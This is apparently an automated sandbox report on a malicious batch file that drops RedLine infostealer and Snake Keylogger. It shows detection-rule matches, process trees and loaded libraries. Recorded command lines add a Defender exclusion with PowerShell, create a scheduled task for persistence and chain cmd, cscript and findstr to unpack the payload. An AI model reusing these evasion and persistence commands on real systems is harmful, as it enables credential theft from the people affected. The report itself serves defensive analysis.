Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02BA87A0 appears 48 times
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: String function: 0040FB9C appears 40 times
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: String function: 0040D606 appears 96 times
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: String function: 0040E1D8 appears 176 times

Source: 10.1.rpkhzpuO.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 24.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 24.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.1.rpkhzpuO.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 29.1.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 29.1.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 29.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 29.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000001D.00000002.2840097800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000001D.00000001.2760141830.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Microsofts.exe PID: 1664, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: classification engine

Classification label: mal100.troj.spyw.evad.winBAT@42/20@3/3

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C37F5A GetDiskFreeSpaceA,

6_2_02C37F5A

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Code function: 10_1_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,#8,#8,#8,#15,#23,#24,#16,#411,#9,#9,#9,

10_1_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C46D50 CoCreateInstance,

6_2_02C46D50

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

10_1_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

File created: C:\Users\Public\OupzhkprF.cmd

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3532:120:WilError_03
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Phoenix_Clipper_666
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4340:120:WilError_03

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\x

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" "

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	10_1_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	24_2_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	29_2_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	29_2_00413780
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Command line argument: 08A	29_1_00413780

Source: C:\Users\user\AppData\Local\Temp\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\cscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Microsofts.exe, 0000000D.00000002.4634725765.000000000273C000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.000000000271E000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.000000000275D000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.0000000002751000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4649310348.000000000366D000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.000000000272E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PO#3_RKG367.bat

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PO#3_RKG367.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /e "'v" "C:\Users\user\Desktop\PO#3_RKG367.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe C:\Users\user\AppData\Local\Temp\x.exe
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Microsofts.exe "C:\Users\user\AppData\Local\Temp\Microsofts.exe"
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\Public\Libraries\Oupzhkpr.PIF "C:\Users\Public\Libraries\Oupzhkpr.PIF"
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Oupzhkpr.PIF "C:\Users\Public\Libraries\Oupzhkpr.PIF"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /e "'v" "C:\Users\user\Desktop\PO#3_RKG367.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe C:\Users\user\AppData\Local\Temp\x.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Microsofts.exe "C:\Users\user\AppData\Local\Temp\Microsofts.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
